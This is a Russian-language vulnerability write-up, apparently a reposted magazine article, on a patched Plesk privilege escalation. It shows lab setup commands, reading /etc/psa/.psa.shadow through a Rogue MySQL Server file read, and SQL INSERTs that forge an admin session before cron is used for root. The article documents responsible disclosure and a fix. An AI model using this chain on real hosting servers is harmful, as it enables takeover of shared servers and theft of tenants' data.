Атака на хостинг. Поднимаемся от юзера до бога в админ-панели Plesk

Атака на хостинг. Поднимаемся от юзера до бога в админ-панели Plesk

Эксплойт

Рут на shared-хостинге — не обязательно публичная уязвимость в ядре Linux. В этой статье будет разобрана уязвимость в популярной хостинг-панели Plesk, позволяющая повысить привилегии на хостинговом сервере и получить доступ ко всем соседям.

Чтобы предоставлять услуги хостинга сайтов, в наше время недостаточно веб-сервера и аккаунта на FTP. Существует несколько популярных панелей, которые позволяют без трудностей развернуть и поддерживать сайт даже неопытному пользователю. Там есть файловый менеджер, текстовый редактор, интерфейс для управления базами данных, выбор версии PHP и все, что может понадобиться пользователю хостинга.

Одна из таких панелей — Plesk. Эта панель используется хостинг-провайдерами по всему миру, включая таких гигантов, как GoDaddy. Взлом хостинга может обернуться серьезными последствиями — например, известен случай, когда злоумышленники взломали хостера, зашифровали все данные и требовали за них миллион долларов.


Уязвимость, о которой я хочу рассказать, — это чтение файлов с повышенными привилегиями с помощью атаки Rogue MySQL Server. Она в итоге обернулась эскалацией привилегий.

 

Стенд

Итак, самое время надеть белую шляпу и приступать к ресерчу. Основная часть Plesk написана на PHP. Plesk бывает под Windows Server и Linux, нас интересует последний. Для стенда проще всего использовать локальную виртуалку или VPS c Ubuntu 16.04 на борту. Для начала загружаем инсталлятор и даем права на исполнение.

$ wget 'http://installer.plesk.com/plesk-installer'
$ chmod +x plesk-installer

Помимо привычной тебе системы обновлений через версии, в Plesk имеется еще и такая вещь, как микроапдейты (Micro-Updates). Это, по сути, патчи к исходникам на PHP, при накатывании которых версия панели остается неизменной. Уязвимость, о которой мы поговорим, была устранена с помощью такого апдейта, поэтому инсталлер нужно запускать с флагом skip-patch, и тогда фикс, закрывающий уязвимость, не применится.

$ sudo ./plesk-installer --skip-patch

Далее в интерактивном меню нужно подтвердить установку, выбрать рекомендуемые параметры, и можно спокойно попивать кофе, пока все сетапится. После того как все установилось, в консоль будет выведен линк, пройдя по которому ты сможешь создать учетку админа. Там же можно активировать пятнадцатидневный триал, которого вполне хватает для наших темных исследовательских дел.

Plesk имеет хороший CLI-API, которым мы и воспользуемся, чтобы не возиться с вебом. В лучших традициях Unix настроим все, не покидая терминала.

Для начала создадим пользователя с минимальными привилегиями и добавим ему домен.

$ PLSK_SITE_IP=$(sudo plesk bin ipmanage -l | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | head -n 1)
$ sudo plesk bin customer --create researcher -name "russian bear" -passwd "SamPle123!" -notify false
$ sudo plesk bin subscription -c example.com -owner researcher -service-plan "Default Domain" -ip $PLSK_SITE_IP -login researcher -passwd "SamPle123!" 

Еще нам понадобится база данных. Создадим MySQL юзера и базу.

$ sudo plesk bin database --create testdb -domain example.com -type mysql
$ sudo plesk bin database --create-dbuser testuser -passwd "SamPle123!" -domain example.com -server localhost:3306 -database testdb

Тестовый стенд готов. Залогиниться в панель от созданного юзера researcher можно по адресу https://{YOUR_IP}:8443/. Полученный нами минимальный набор функций будет доступен на любом хостинге с Plesk.

 


Анализ уязвимости

Интерес представляют функции управления базами данных. Plesk имеет любопытную фичу, которая позволяет копировать базы данных не только локально, но и на внешние хосты. Именно здесь кроется уязвимость.

plib/DatabaseManagerMySQL.php

...
private function _mysql_connect($host, $port, $login, $password, $dbname = null)
{
    $connection = @new mysqli($host, $login, $password, $dbname, $port);
    if (!$connection || mysqli_connect_errno()) {
        throw new PleskUserDBException(
            mysqli_connect_error(), mysqli_connect_errno(),
            'mysql', $this->getErrorType(mysqli_connect_errno())
        );
    }
    return $connection;
}
...

Чтобы получить исходники панели, пришлось здорово поработать над деобфускацией, но об этом как-нибудь в другой раз. При копировании базы данных на внешний хост приложение использовало стандартный для PHP клиент mysqlnd, где по умолчанию опция local_infileравна единице, и это как раз и открывает дорогу к созданию читалки файлов.

Чтобы проэксплуатировать уязвимость, сперва нужно развернуть Rogue MySQL Server. Далее идем в Databases → Copy и копируем базу в наш Rogue MySQL сервер.

После чего получаем указанный файл. На этом анализ можно завершать и приступать к следующей части.

 

Повышаем привилегии

Обнаружить уязвимость — это всего полдела, ведь ее еще нужно суметь проэксплуатировать. Прочитать passwd, имея хостинговый аккаунт, можно с легкостью и без перечисленных выше манипуляций.

Сначала нужно выяснить, с какими привилегиями работает читалка файлов. Здесь нам поможет псевдофайловая система /proc, а именно чтение файла /proc/self/status, в котором содержится много полезной информации о текущем процессе.

В этом файле есть уникальный ID системного юзера — UID. Теперь, чтобы узнать пользователя, от имени которого мы можем читать файлы, достаточно открыть passwd и найти там соответствующую запись с нужным UID. В моем случае UID 999 — это юзер psaadm, от имени которого работает панель.

На ум сразу приходит читать конфигурационные файлы. Ведь должна же панель откуда-то брать креды к такому большому количеству сервисов. Полистав конфиги, я задался вопросом — а откуда, собственно, панель берет информацию для доступа к MySQL? Оказалось, что суперъюзер базы данных имеет логин admin, а пароль к нему лежит в файле /etc/psa/.psa.shadow.

$ ls -l /etc/psa/.psa.shadow
-rw------- 1 psaadm psaadm 62 Apr 22 19:14 /etc/psa/.psa.shadow

Как видим, этот файл доступен на чтение и запись только юзеру psaadm. Читаем его с помощью Rogue MySQL и получаем рутовый доступ к БД. На этом этапе мы видим все базы, что уже дает массу возможностей для дальнейших атак на соседей. Но нам интересен рут на всем сервере, поэтому двигаемся дальше.


Для своих нужд Plesk тоже использует базу данных с именем psa на этом же сервере MySQL. Бегло осмотрев базу, я заприметил таблицы sessions и SessionContexts. Туда пишутся все сессии залогиненных юзеров. Ты, наверное, скажешь: «Инсерть скорее же сессию админа, и дело в шляпе!» Однако, как ты можешь заметить, помимо логина и session ID, панель пишет еще много уникальных сериализованных данных, которые не всегда можно просто скопипастить. Давай разберемся, что происходит в базе на момент логина юзера admin.

Для этого включим логирование запросов в файл.

$ sudo touch /var/log/mq_query && sudo chown mysql:mysql /var/log/mq_query
$ sudo plesk db "SET GLOBAL general_log_file = '/var/log/mq_query'"
$ sudo plesk db "SET GLOBAL general_log = 'ON'" 

Логинимся от админа в Plesk и смотрим запросы с INSERT.

$ cat /var/log/mq_query 
...
2019-04-25T11:58:17.627569Z 46870 Query INSERT INTO `sessions` (`sess_id`, `type`, `login`, `ip_address`, `login_time`, `modified`, `lifetime`) VALUES ('057780ebb02bb81977adccf2dc481a79', '1', 'admin', '87.76.241.179', '1556193497', '1556193497', '1800')
2019-04-25T11:58:17.632226Z 46870 Query INSERT INTO `SessionContexts` (`contextId`, `sessionId`, `data`) VALUES ('057780ebb02bb81977adccf2dc481a79', '057780ebb02bb81977adccf2dc481a79', 'a:2:{s:4:\"auth\";a:1:{s:4:\"type\";i:1;}s:5:\"panel\";a:1:{s:22:\"forgeryProtectionToken\";s:32:\"7292742a7d286591eddb828c314f25b4\";}}')
...

Итак, чтобы получить сессию админа, нужно загрузить на хостинговый аккаунт скрипт на PHP, который подключится к БД от имени пользователя admin и выполнит два простых инсерта.

INSERT INTO `sessions` (`sess_id`, `type`, `login`, `ip_address`, `login_time`, `modified`, `lifetime`) VALUES ('057780ebb02bb81977adccf2dc481a79', '1', 'admin', '<YOUR_IP>', NOW(), NOW(), '1800');
INSERT INTO `SessionContexts` (`contextId`, `sessionId`, `data`) VALUES ('057780ebb02bb81977adccf2dc481a79', '057780ebb02bb81977adccf2dc481a79', 'a:2:{s:4:\"auth\";a:1:{s:4:\"type\";i:1;}s:5:\"panel\";a:1:{s:22:\"forgeryProtectionToken\";s:32:\"7292742a7d286591eddb828c314f25b4\";}}');

Подставляй новоиспеченную сессию себе в куки, и вуаля, ты админ. А для того, чтобы выполнить любую команду от рута, достаточно зайти в планировщик задач и записать в крон нужный пейлоад.

Подведем итоги. Чтобы заполучить рут на хостинговом сервере с панелью Plesk, нужно сделать следующее.

  1. С помощью Rogue MySQL Server прочитать пароль от рутового юзера базы данных в файле /etc/psa/.psa.shadow.
  2. Загрузить скрипт на PHP, с помощью которого можно будет подключиться к базе данных от рут-пользователя.
  3. Записать сессию админа и подставить ее в cookies браузера


Выводы

Прежде всего хочу отметить оперативную и слаженную работу безопасников Plesk. После того как я им отправил репорт, уязвимость быстро устранили в следующих версиях:

  • 17.8.11 MU#34 от 10 декабря 2018 года;
  • 17.5.3 MU#63 от 10 декабря 2018 года;
  • 17.0.17 MU#61 от 17 декабря 2018 года;
  • 12.5.30 MU#78 от 10 декабря 2018 года;
  • 12.0.18 MU#104 от 24 декабря 2018 года.

На сегодняшний день большая часть клиентов MySQL уязвимы, и устранять вектор Rogue MySQL Server пока никто не торопится. Так что, похоже, такие уязвимости будут всплывать еще долго. Чтобы обезопасить себя от подобных проблем, стоит ввести простое правило: если твое приложение коннектится к хосту, который не localhost, — убедись, что опция local-infile равна нулю.

Оригинал

Report Page